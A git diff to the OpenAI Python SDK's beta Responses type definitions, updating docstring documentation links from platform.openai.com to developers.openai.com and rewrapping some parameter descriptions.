@@ -450,8 +450,8 @@ class BetaResponse(BaseModel):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
object: Literal["response"]
@@ -494,17 +494,18 @@ class BetaResponse(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -520,7 +521,7 @@ class BetaResponse(BaseModel):
background: Optional[bool] = None
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
completed_at: Optional[float] = None
@@ -540,7 +541,7 @@ class BetaResponse(BaseModel):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int] = None
@@ -561,14 +562,14 @@ class BetaResponse(BaseModel):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[BetaResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_diagnostics: Optional[PromptCacheDiagnostics] = None
@@ -578,7 +579,7 @@ class BetaResponse(BaseModel):
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: Optional[PromptCacheOptions] = None
@@ -593,7 +594,7 @@ class BetaResponse(BaseModel):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -610,7 +611,7 @@ class BetaResponse(BaseModel):
reasoning: Optional[Reasoning] = None
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str] = None
@@ -620,7 +621,7 @@ class BetaResponse(BaseModel):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[BetaServiceTier] = None
@@ -631,13 +632,15 @@ class BetaResponse(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -662,8 +665,8 @@ class BetaResponse(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
top_logprobs: Optional[int] = None
@@ -695,5 +698,5 @@ class BetaResponse(BaseModel):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/beta/beta_response_compaction_item.py b/src/openai/types/beta/beta_response_compaction_item.py
index 3395aca704..d6772a8511 100644
--- a/src/openai/types/beta/beta_response_compaction_item.py
+++ b/src/openai/types/beta/beta_response_compaction_item.py
@@ -17,7 +17,7 @@ class Agent(BaseModel):
class BetaResponseCompactionItem(BaseModel):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
id: str
diff --git a/src/openai/types/beta/beta_response_compaction_item_param.py b/src/openai/types/beta/beta_response_compaction_item_param.py
index 607c94ff99..6c1237612a 100644
--- a/src/openai/types/beta/beta_response_compaction_item_param.py
+++ b/src/openai/types/beta/beta_response_compaction_item_param.py
@@ -17,7 +17,7 @@ class Agent(BaseModel):
class BetaResponseCompactionItemParam(BaseModel):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
encrypted_content: str
diff --git a/src/openai/types/beta/beta_response_compaction_item_param_param.py b/src/openai/types/beta/beta_response_compaction_item_param_param.py
index 2e8364ed1f..beb9d64607 100644
--- a/src/openai/types/beta/beta_response_compaction_item_param_param.py
+++ b/src/openai/types/beta/beta_response_compaction_item_param_param.py
@@ -17,7 +17,7 @@ class Agent(TypedDict, total=False):
class BetaResponseCompactionItemParamParam(TypedDict, total=False):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
encrypted_content: Required[str]
diff --git a/src/openai/types/beta/beta_response_computer_tool_call.py b/src/openai/types/beta/beta_response_computer_tool_call.py
index 03650c6472..fefce55113 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call.py
@@ -34,7 +34,7 @@ class BetaResponseComputerToolCall(BaseModel):
"""A tool call to a computer use tool.
See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
"""
id: str
diff --git a/src/openai/types/beta/beta_response_computer_tool_call_param.py b/src/openai/types/beta/beta_response_computer_tool_call_param.py
index 9fcb19c4b8..d46b234469 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call_param.py
@@ -35,7 +35,7 @@ class BetaResponseComputerToolCallParam(TypedDict, total=False):
"""A tool call to a computer use tool.
See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/beta/beta_response_file_search_tool_call.py b/src/openai/types/beta/beta_response_file_search_tool_call.py
index 3ad9ef0421..baf576c520 100644
--- a/src/openai/types/beta/beta_response_file_search_tool_call.py
+++ b/src/openai/types/beta/beta_response_file_search_tool_call.py
@@ -42,7 +42,7 @@ class BetaResponseFileSearchToolCall(BaseModel):
"""The results of a file search tool call.
See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
"""
id: str
diff --git a/src/openai/types/beta/beta_response_file_search_tool_call_param.py b/src/openai/types/beta/beta_response_file_search_tool_call_param.py
index 6b48569ac2..0c30e63b4b 100644
--- a/src/openai/types/beta/beta_response_file_search_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_file_search_tool_call_param.py
@@ -44,7 +44,7 @@ class BetaResponseFileSearchToolCallParam(TypedDict, total=False):
"""The results of a file search tool call.
See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/beta/beta_response_format_text_json_schema_config.py b/src/openai/types/beta/beta_response_format_text_json_schema_config.py
index 53f0cbc7d8..d4c141f11e 100644
--- a/src/openai/types/beta/beta_response_format_text_json_schema_config.py
+++ b/src/openai/types/beta/beta_response_format_text_json_schema_config.py
@@ -14,7 +14,7 @@ class BetaResponseFormatTextJSONSchemaConfig(BaseModel):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
name: str
@@ -45,5 +45,5 @@ class BetaResponseFormatTextJSONSchemaConfig(BaseModel):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
diff --git a/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py b/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
index 89ff99be76..6fc894cd4c 100644
--- a/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
+++ b/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
@@ -12,7 +12,7 @@ class BetaResponseFormatTextJSONSchemaConfigParam(TypedDict, total=False):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
name: Required[str]
@@ -43,5 +43,5 @@ class BetaResponseFormatTextJSONSchemaConfigParam(TypedDict, total=False):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
diff --git a/src/openai/types/beta/beta_response_function_tool_call.py b/src/openai/types/beta/beta_response_function_tool_call.py
index cc16016287..a71c81214c 100644
--- a/src/openai/types/beta/beta_response_function_tool_call.py
+++ b/src/openai/types/beta/beta_response_function_tool_call.py
@@ -36,7 +36,7 @@ class BetaResponseFunctionToolCall(BaseModel):
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
arguments: str
diff --git a/src/openai/types/beta/beta_response_function_tool_call_item.py b/src/openai/types/beta/beta_response_function_tool_call_item.py
index 33936ad0a5..0c1658325e 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_item.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_item.py
@@ -12,7 +12,7 @@ class BetaResponseFunctionToolCallItem(BetaResponseFunctionToolCall):
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
id: str # type: ignore
diff --git a/src/openai/types/beta/beta_response_function_tool_call_param.py b/src/openai/types/beta/beta_response_function_tool_call_param.py
index 84968ea35e..775f563cae 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_param.py
@@ -42,7 +42,7 @@ class BetaResponseFunctionToolCallParam(_BetaResponseFunctionToolCallParamReserv
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
arguments: Required[str]
diff --git a/src/openai/types/beta/beta_response_function_web_search.py b/src/openai/types/beta/beta_response_function_web_search.py
index 5f7ccdbe77..9da960e1a1 100644
--- a/src/openai/types/beta/beta_response_function_web_search.py
+++ b/src/openai/types/beta/beta_response_function_web_search.py
@@ -80,7 +80,7 @@ class BetaResponseFunctionWebSearch(BaseModel):
"""The results of a web search tool call.
See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
"""
id: str
diff --git a/src/openai/types/beta/beta_response_function_web_search_param.py b/src/openai/types/beta/beta_response_function_web_search_param.py
index 88ece7bcc9..04a920ef88 100644
--- a/src/openai/types/beta/beta_response_function_web_search_param.py
+++ b/src/openai/types/beta/beta_response_function_web_search_param.py
@@ -81,7 +81,7 @@ class BetaResponseFunctionWebSearchParam(TypedDict, total=False):
"""The results of a web search tool call.
See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/beta/beta_response_input_image.py b/src/openai/types/beta/beta_response_input_image.py
index 7924aded41..81da7d63f4 100644
--- a/src/openai/types/beta/beta_response_input_image.py
+++ b/src/openai/types/beta/beta_response_input_image.py
@@ -22,7 +22,7 @@ class PromptCacheBreakpoint(BaseModel):
class BetaResponseInputImage(BaseModel):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
"""
detail: BetaImageDetail
diff --git a/src/openai/types/beta/beta_response_input_image_content.py b/src/openai/types/beta/beta_response_input_image_content.py
index 0e4dbe6af5..532c65d14f 100644
--- a/src/openai/types/beta/beta_response_input_image_content.py
+++ b/src/openai/types/beta/beta_response_input_image_content.py
@@ -22,7 +22,7 @@ class PromptCacheBreakpoint(BaseModel):
class BetaResponseInputImageContent(BaseModel):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
"""
type: Literal["input_image"]
diff --git a/src/openai/types/beta/beta_response_input_image_content_param.py b/src/openai/types/beta/beta_response_input_image_content_param.py
index e0caff4b04..03e343c788 100644
--- a/src/openai/types/beta/beta_response_input_image_content_param.py
+++ b/src/openai/types/beta/beta_response_input_image_content_param.py
@@ -23,7 +23,7 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class BetaResponseInputImageContentParam(TypedDict, total=False):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
"""
type: Required[Literal["input_image"]]
diff --git a/src/openai/types/beta/beta_response_input_image_param.py b/src/openai/types/beta/beta_response_input_image_param.py
index c5631d2733..cabe60f743 100644
--- a/src/openai/types/beta/beta_response_input_image_param.py
+++ b/src/openai/types/beta/beta_response_input_image_param.py
@@ -23,7 +23,7 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class BetaResponseInputImageParam(TypedDict, total=False):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
"""
detail: Required[BetaImageDetail]
diff --git a/src/openai/types/beta/beta_response_prompt.py b/src/openai/types/beta/beta_response_prompt.py
index d034313d9b..c8fb425512 100644
--- a/src/openai/types/beta/beta_response_prompt.py
+++ b/src/openai/types/beta/beta_response_prompt.py
@@ -16,7 +16,7 @@
class BetaResponsePrompt(BaseModel):
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
id: str
diff --git a/src/openai/types/beta/beta_response_prompt_param.py b/src/openai/types/beta/beta_response_prompt_param.py
index 8e661bb6ec..e024eb95d2 100644
--- a/src/openai/types/beta/beta_response_prompt_param.py
+++ b/src/openai/types/beta/beta_response_prompt_param.py
@@ -17,7 +17,7 @@
class BetaResponsePromptParam(TypedDict, total=False):
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
id: Required[str]
diff --git a/src/openai/types/beta/beta_response_reasoning_item.py b/src/openai/types/beta/beta_response_reasoning_item.py
index 36adc14def..c7b1e0fce7 100644
--- a/src/openai/types/beta/beta_response_reasoning_item.py
+++ b/src/openai/types/beta/beta_response_reasoning_item.py
@@ -40,7 +40,7 @@ class BetaResponseReasoningItem(BaseModel):
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
"""
id: str
diff --git a/src/openai/types/beta/beta_response_reasoning_item_param.py b/src/openai/types/beta/beta_response_reasoning_item_param.py
index d1f90c0f27..c67348e326 100644
--- a/src/openai/types/beta/beta_response_reasoning_item_param.py
+++ b/src/openai/types/beta/beta_response_reasoning_item_param.py
@@ -40,7 +40,7 @@ class BetaResponseReasoningItemParam(TypedDict, total=False):
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
"""
id: Required[str]
diff --git a/src/openai/types/beta/beta_response_text_config.py b/src/openai/types/beta/beta_response_text_config.py
index 23abe7695a..d0a471a670 100644
--- a/src/openai/types/beta/beta_response_text_config.py
+++ b/src/openai/types/beta/beta_response_text_config.py
@@ -14,8 +14,8 @@ class BetaResponseTextConfig(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[BetaResponseFormatTextConfig] = None
@@ -23,7 +23,7 @@ class BetaResponseTextConfig(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/beta/beta_response_text_config_param.py b/src/openai/types/beta/beta_response_text_config_param.py
index 328e28c580..8372c9e9ae 100644
--- a/src/openai/types/beta/beta_response_text_config_param.py
+++ b/src/openai/types/beta/beta_response_text_config_param.py
@@ -15,8 +15,8 @@ class BetaResponseTextConfigParam(TypedDict, total=False):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: BetaResponseFormatTextConfigParam
@@ -24,7 +24,7 @@ class BetaResponseTextConfigParam(TypedDict, total=False):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/beta/beta_response_usage.py b/src/openai/types/beta/beta_response_usage.py
index b96bde525d..56182da6c2 100644
--- a/src/openai/types/beta/beta_response_usage.py
+++ b/src/openai/types/beta/beta_response_usage.py
@@ -12,9 +12,9 @@ class InputTokensDetails(BaseModel):
"""The number of input tokens that were written to the cache."""
cached_tokens: int
- """The number of tokens that were retrieved from the cache.
-
- [More on prompt caching](https://platform.openai.com/docs/guides/prompt-caching).
+ """
+ The number of tokens that were retrieved from the cache.
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 091bd015c3..ce1eec6150 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -107,7 +107,7 @@ class ResponseCreateMultiAgent(BaseModel):
class ResponseCreatePromptCacheOptions(BaseModel):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str] = None
@@ -138,7 +138,7 @@ class ResponseCreatePromptCacheOptions(BaseModel):
class ResponseCreateReasoning(BaseModel):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]] = None
@@ -158,7 +158,7 @@ class ResponseCreateReasoning(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,7 +238,7 @@ class ResponseCreate(BaseModel):
background: Optional[bool] = None
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[List[ResponseCreateContextManagement]] = None
@@ -279,11 +279,11 @@ class ResponseCreate(BaseModel):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str] = None
@@ -298,7 +298,7 @@ class ResponseCreate(BaseModel):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int] = None
@@ -432,8 +432,8 @@ class ResponseCreate(BaseModel):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[ResponseCreateModeration] = None
@@ -449,21 +449,21 @@ class ResponseCreate(BaseModel):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[BetaResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str] = None
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: Optional[ResponseCreatePromptCacheOptions] = None
@@ -476,7 +476,7 @@ class ResponseCreate(BaseModel):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -486,7 +486,7 @@ class ResponseCreate(BaseModel):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -503,7 +503,7 @@ class ResponseCreate(BaseModel):
reasoning: Optional[ResponseCreateReasoning] = None
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str] = None
@@ -513,7 +513,7 @@ class ResponseCreate(BaseModel):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[BetaServiceTier] = None
@@ -524,13 +524,15 @@ class ResponseCreate(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -548,7 +550,7 @@ class ResponseCreate(BaseModel):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream: Optional[bool] = None
@@ -557,7 +559,7 @@ class ResponseCreate(BaseModel):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
